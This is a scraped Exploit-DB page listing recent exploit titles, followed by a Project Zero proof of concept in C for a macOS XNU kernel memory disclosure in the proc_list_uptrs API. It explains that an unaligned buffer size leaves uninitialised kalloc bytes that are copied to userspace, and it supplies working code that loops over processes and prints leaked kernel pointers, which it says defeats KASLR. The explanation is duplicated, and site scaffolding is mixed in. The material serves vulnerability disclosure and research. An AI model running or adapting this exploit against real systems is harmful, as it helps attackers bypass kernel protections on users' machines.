
35 changes to exploits/shellcodes MikroTik RouterBoard 6.39.2 / 6.40.5 DNS - Denial of Service MikroTik 6.40.5 ICMP - Denial of Service iOS/macOS - Kernel Double Free due to IOSurfaceRootUserClient not Respecting MIG Ownership Rules macOS XNU Kernel - Memory Disclosure due to bug in Kernel API for Detecting Kernel Memory Disclosures macOS - 'getrusage' Stack Leak Through struct Padding macOS - 'necp_get_socket_attributes' so_pcb Type Confusion LibTIFF pal2rgb 4.0.9 - Heap Buffer Overflow Entrepreneur Dating Script 2.0.1 - 'marital' / 'gender' / 'country' / 'profileid' SQL Injection Secure E-commerce Script 2.0.1 - 'searchcat' / 'searchmain' SQL Injection Laundry Booking Script 1.0 - 'list?city' SQL Injection Lawyer Search Script 1.1 - 'lawyer-list?city' SQL Injection Multivendor Penny Auction Clone Script 1.0 - SQL Injection Online Exam Test Application Script 1.6 - 'exams.php?sort' SQL Injection Opensource Classified Ads Script 3.2 - SQL Injection PHP Multivendor Ecommerce 1.0 - 'sid' / 'searchcat' / 'chid1' SQL Injection Professional Service Script 1.0 - 'service-list?city' SQL Injection Readymade PHP Classified Script 3.3 - 'subctid' / 'mctid' SQL Injection Readymade Video Sharing Script 3.2 - SQL Injection Responsive Realestate Script 3.2 - 'property-list?tbud' SQL Injection Multireligion Responsive Matrimonial 4.7.2 - 'succid' SQL Injection Responsive Events & Movie Ticket Booking Script 3.2.1 - 'findcity.php?q' SQL Injection Multiplex Movie Theater Booking Script 3.1.5 - 'moid' / 'eid' SQL Injection Single Theater Booking Script 3.2.1 - 'findcity.php?q' SQL Injection Advanced Real Estate Script 4.0.7 - SQL Injection Entrepreneur Bus Booking Script 3.0.4 - 'sourcebus' SQL Injection MLM Forex Market Plan Script 2.0.4 - 'newid' / 'eventid' SQL Injection MLM Forced Matrix 2.0.9 - 'newid' SQL Injection Car Rental Script 2.0.4 - 'val' SQL Injection Groupon Clone Script 3.01 - 'state_id' / 'search' SQL Injection Muslim Matrimonial Script 3.02 - 'succid' SQL Injection Advanced World Database 2.0.5 - SQL Injection Resume Clone Script 2.0.5 - SQL Injection Basic Job Site Script 2.0.5 - SQL Injection Vanguard 1.4 - Arbitrary File Upload Vanguard 1.4 - SQL Injection
235 lines
No EOL
8.4 KiB
C
235 lines
No EOL
8.4 KiB
C
/*
|
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1372
|
|
|
|
the kernel libproc API proc_list_uptrs has the following comment in it's userspace header:
|
|
|
|
/*
|
|
* Enumerate potential userspace pointers embedded in kernel data structures.
|
|
* Currently inspects kqueues only.
|
|
*
|
|
* NOTE: returned "pointers" are opaque user-supplied values and thus not
|
|
* guaranteed to address valid objects or be pointers at all.
|
|
*
|
|
* Returns the number of pointers found (which may exceed buffersize), or -1 on
|
|
* failure and errno set appropriately.
|
|
|
|
|
|
This is a recent addition to the kernel, presumably as a debugging tool to help enumerate
|
|
places where the kernel is accidentally disclosing kernel pointers to userspace.
|
|
|
|
The implementation currently enumerates kqueues and dumps a bunch of values from them.
|
|
|
|
Here's the relevant code:
|
|
|
|
// buffer and buffersize are attacker controlled
|
|
|
|
int
|
|
proc_pidlistuptrs(proc_t p, user_addr_t buffer, uint32_t buffersize, int32_t *retval)
|
|
{
|
|
uint32_t count = 0;
|
|
int error = 0;
|
|
void *kbuf = NULL;
|
|
int32_t nuptrs = 0;
|
|
|
|
if (buffer != USER_ADDR_NULL) {
|
|
count = buffersize / sizeof(uint64_t); <---(a)
|
|
if (count > MAX_UPTRS) {
|
|
count = MAX_UPTRS;
|
|
buffersize = count * sizeof(uint64_t);
|
|
}
|
|
if (count > 0) {
|
|
kbuf = kalloc(buffersize); <--- (b)
|
|
assert(kbuf != NULL);
|
|
}
|
|
} else {
|
|
buffersize = 0;
|
|
}
|
|
|
|
nuptrs = kevent_proc_copy_uptrs(p, kbuf, buffersize);
|
|
|
|
if (kbuf) {
|
|
size_t copysize;
|
|
if (os_mul_overflow(nuptrs, sizeof(uint64_t), ©size)) { <--- (c)
|
|
error = ERANGE;
|
|
goto out;
|
|
}
|
|
if (copysize > buffersize) { <-- (d)
|
|
copysize = buffersize;
|
|
}
|
|
error = copyout(kbuf, buffer, copysize); <--- (e)
|
|
}
|
|
|
|
|
|
At (a) the attacker-supplied buffersize is divided by 8 to compute the maximum number of uint64_t's
|
|
which can fit in there.
|
|
|
|
If that value isn't huge then the attacker-supplied buffersize is used to kalloc the kbuf buffer at (b).
|
|
|
|
kbuf and buffersize are then passed to kevent_proc_copy_uptrs. Looking at the implementation of
|
|
kevent_proc_copy_uptrs the return value is the total number of values it found, even if that value is larger
|
|
than the supplied buffer. If it finds more than will fit it keeps counting but no longer writes them to the kbuf.
|
|
|
|
This means that at (c) the computed copysize value doesn't reflect how many values were actually written to kbuf
|
|
but how many *could* have been written had the buffer been big enough.
|
|
|
|
If there were possible values which could have been written than there was space in the buffer then at (d) copysize
|
|
will be limited down to buffersize.
|
|
|
|
Copysize is then used at (e) to copy the contents of kbuf to userspace.
|
|
|
|
The bug is that there's no enforcement that (buffersize % 8) == 0. If we were to pass a buffersize of 15, at (a) count would be 1
|
|
as 15 bytes is only enough to store 1 complete uint64_t. At (b) this would kalloc a buffer of 15 bytes.
|
|
|
|
If the target pid actually had 10 possible values which kevent_proc_copy_uptrs finds then nuptrs will return 10 but it will
|
|
only write to the first value to kbuf, leaving the last 7 bytes untouched.
|
|
|
|
At (c) copysize will be computed at 10*8 = 80 bytes, at (d) since 80 > 15 copysize will be truncated back down to buffersize (15)
|
|
and at (e) 15 bytes will be copied back to userspace even though only 8 were written to.
|
|
|
|
Kalloc doesn't zero-initialise returned memory so this can be used to easily and safely disclose lots of kernel memory, albeit
|
|
limited to the 7-least significant bytes of each 8-byte aligned qword. That's more than enough to easily defeat kaslr.
|
|
|
|
This PoC demonstrates the disclosure of kernel pointers in the stale kalloc memory.
|
|
|
|
Tested on MacOS 10.13 High Sierra (17A365)
|
|
*/
|
|
|
|
// ianbeer
|
|
|
|
#if 0
|
|
XNU kernel memory disclosure due to bug in kernel API for detecting kernel memory disclosures
|
|
|
|
the kernel libproc API proc_list_uptrs has the following comment in it's userspace header:
|
|
|
|
/*
|
|
* Enumerate potential userspace pointers embedded in kernel data structures.
|
|
* Currently inspects kqueues only.
|
|
*
|
|
* NOTE: returned "pointers" are opaque user-supplied values and thus not
|
|
* guaranteed to address valid objects or be pointers at all.
|
|
*
|
|
* Returns the number of pointers found (which may exceed buffersize), or -1 on
|
|
* failure and errno set appropriately.
|
|
*/
|
|
|
|
This is a recent addition to the kernel, presumably as a debugging tool to help enumerate
|
|
places where the kernel is accidentally disclosing kernel pointers to userspace.
|
|
|
|
The implementation currently enumerates kqueues and dumps a bunch of values from them.
|
|
|
|
Here's the relevant code:
|
|
|
|
// buffer and buffersize are attacker controlled
|
|
|
|
int
|
|
proc_pidlistuptrs(proc_t p, user_addr_t buffer, uint32_t buffersize, int32_t *retval)
|
|
{
|
|
uint32_t count = 0;
|
|
int error = 0;
|
|
void *kbuf = NULL;
|
|
int32_t nuptrs = 0;
|
|
|
|
if (buffer != USER_ADDR_NULL) {
|
|
count = buffersize / sizeof(uint64_t); <---(a)
|
|
if (count > MAX_UPTRS) {
|
|
count = MAX_UPTRS;
|
|
buffersize = count * sizeof(uint64_t);
|
|
}
|
|
if (count > 0) {
|
|
kbuf = kalloc(buffersize); <--- (b)
|
|
assert(kbuf != NULL);
|
|
}
|
|
} else {
|
|
buffersize = 0;
|
|
}
|
|
|
|
nuptrs = kevent_proc_copy_uptrs(p, kbuf, buffersize);
|
|
|
|
if (kbuf) {
|
|
size_t copysize;
|
|
if (os_mul_overflow(nuptrs, sizeof(uint64_t), ©size)) { <--- (c)
|
|
error = ERANGE;
|
|
goto out;
|
|
}
|
|
if (copysize > buffersize) { <-- (d)
|
|
copysize = buffersize;
|
|
}
|
|
error = copyout(kbuf, buffer, copysize); <--- (e)
|
|
}
|
|
|
|
|
|
At (a) the attacker-supplied buffersize is divided by 8 to compute the maximum number of uint64_t's
|
|
which can fit in there.
|
|
|
|
If that value isn't huge then the attacker-supplied buffersize is used to kalloc the kbuf buffer at (b).
|
|
|
|
kbuf and buffersize are then passed to kevent_proc_copy_uptrs. Looking at the implementation of
|
|
kevent_proc_copy_uptrs the return value is the total number of values it found, even if that value is larger
|
|
than the supplied buffer. If it finds more than will fit it keeps counting but no longer writes them to the kbuf.
|
|
|
|
This means that at (c) the computed copysize value doesn't reflect how many values were actually written to kbuf
|
|
but how many *could* have been written had the buffer been big enough.
|
|
|
|
If there were possible values which could have been written than there was space in the buffer then at (d) copysize
|
|
will be limited down to buffersize.
|
|
|
|
Copysize is then used at (e) to copy the contents of kbuf to userspace.
|
|
|
|
The bug is that there's no enforcement that (buffersize % 8) == 0. If we were to pass a buffersize of 15, at (a) count would be 1
|
|
as 15 bytes is only enough to store 1 complete uint64_t. At (b) this would kalloc a buffer of 15 bytes.
|
|
|
|
If the target pid actually had 10 possible values which kevent_proc_copy_uptrs finds then nuptrs will return 10 but it will
|
|
only write to the first value to kbuf, leaving the last 7 bytes untouched.
|
|
|
|
At (c) copysize will be computed at 10*8 = 80 bytes, at (d) since 80 > 15 copysize will be truncated back down to buffersize (15)
|
|
and at (e) 15 bytes will be copied back to userspace even though only 8 were written to.
|
|
|
|
Kalloc doesn't zero-initialise returned memory so this can be used to easily and safely disclose lots of kernel memory, albeit
|
|
limited to the 7-least significant bytes of each 8-byte aligned qword. That's more than enough to easily defeat kaslr.
|
|
|
|
This PoC demonstrates the disclosure of kernel pointers in the stale kalloc memory.
|
|
|
|
Tested on MacOS 10.13 High Sierra (17A365)
|
|
#endif
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
#include <string.h>
|
|
|
|
#define PRIVATE
|
|
#include <libproc.h>
|
|
|
|
uint64_t try_leak(pid_t pid, int count) {
|
|
size_t buf_size = (count*8)+7;
|
|
char* buf = calloc(buf_size+1, 1);
|
|
|
|
int err = proc_list_uptrs(pid, (void*)buf, buf_size);
|
|
|
|
if (err == -1) {
|
|
return 0;
|
|
}
|
|
|
|
// the last 7 bytes will contain the leaked data:
|
|
uint64_t last_val = ((uint64_t*)buf)[count]; // we added an extra zero byte in the calloc
|
|
|
|
return last_val;
|
|
}
|
|
|
|
int main(int argc, char** argv) {
|
|
for (int pid = 0; pid < 1000; pid++) {
|
|
for (int i = 0; i < 100; i++) {
|
|
uint64_t leak = try_leak(pid, i);
|
|
/*
|
|
if (leak != 0 && leak != 0x00adbeefdeadbeef) {
|
|
printf("%016llx\n", leak);
|
|
}
|
|
*/
|
|
if ((leak & 0x00ffffff00000000) == 0xffff8000000000) {
|
|
printf("%016llx\n", leak);
|
|
}
|
|
}
|
|
}
|
|
|
|
return 0;
|
|
} |